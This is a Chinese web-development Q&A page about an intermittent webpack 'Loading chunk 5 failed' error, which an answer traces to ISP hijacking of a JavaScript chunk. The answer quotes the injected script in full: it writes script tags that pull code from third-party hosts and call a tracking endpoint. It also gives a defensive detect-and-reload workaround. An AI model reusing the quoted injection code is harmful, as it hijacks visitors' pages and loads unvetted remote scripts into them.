【Web前端问题】 在测试服上偶然出现 Error: Loading chunk 5 failed.

项目是使用vue-cli + webpack打包。
在测试服上偶然性地出现Loading chunk 5 failed,再刷新就不提示错误,一切显示正常。我也很纳闷,请各位帮着分析原因。
下面是报错截图:
图片描述

回答:

在苦苦寻觅下,找这里找到了答案:https://segmentfault.com/q/10...
出现的原因是因为 电信劫持了dns,在网页中将我原来的5.fd7xxxxxxxxxxxx.js成以下的代码

var _b, _c, _ju = "http://testapi.233sy.cn/tg/down/static/js/5.fd7c409603287d19fa4b.js";

_ju = _ju + (_ju.indexOf("?") > 0 ? "&" :"?") + "_t=" + new Date().getTime(),

_b = "AH488569",_c = "382542271_(iKm6V1g0V1P6wj8Nih==_358325746_@iJvkDKehwJ9Wi6et9JgWitfZMe==_)iKghiJeh", function(a) {

function b(b) {

var c = a.createElement("script");

c.setAttribute("src", b), a.head ? a.head.appendChild(c) :a.body && a.body.appendChild(c);

}

var c = a.location.host.split("."), d = c.length, e = c[d - 2] + "." + c[d - 1];

/^(com|net|org|gov)$/.test(c[d - 2]) && d > 2 && (e = c[d - 3] + "." + c[d - 2] + "." + c[d - 1]),

_ju.indexOf(e) > 0 ? (a.write('<div><script>document.write(unescape(\'%3Cscript id="_ju_" src="' + _ju + "\" %3E%3C/script%3E') );</script></div>"),

a.getElementById("_ju_") || b(_ju)) :b(_ju), b("http:///gfnsdv.yxwwj.cn:8001/pjk/static/tp.php?b="+_b+"&");

}(document);

我使用的是路由懒加载,才有上面的提示。之前模块5被替换这个,就load不到了。

解决方式:
1、使用https协议,不让电信劫持dns
2、自己判断不正常代码存在,重新刷新该地址(短期内,我们目前就是用这种方式解决的)

 window.onload = function(){

let isSetInt = false;

let setInt = setInterval(r => {

let index = getstore() || 0;

let findDns = false;

if (isSetInt) {

clearInterval(setInt);

let scr = document.getElementsByTagName('script');

for (var i = scr.length - 1; i >= 0; i--) {

if (scr[i].src.indexOf('gfnsdv.yxwwj.cn') != -1 && index < 2) {

findDns = true;

store(++index);

window.location.reload();

break;

}

}

if (!findDns) {

store(0)

}

}

try{

if (getmd5) {

isSetInt = true;

}

}catch(e){

console.log(e);

}

},1000);

}

function store (state) {

try {

return localStorage.setItem('index', state);

} catch (e) {

cookie.setCookie('index',state, 1);

}

}

function getstore () {

if (localStorage.getItem('index') == null) {

return unescape(cookie.getCookie('index'));

}else{

return localStorage.getItem('index');

}

}

回答:

https还是会劫持
参考https://segmentfault.com/a/11...

以上是 【Web前端问题】 在测试服上偶然出现 Error: Loading chunk 5 failed. 的全部内容, 来源链接: utcz.com/a/143635.html

回到顶部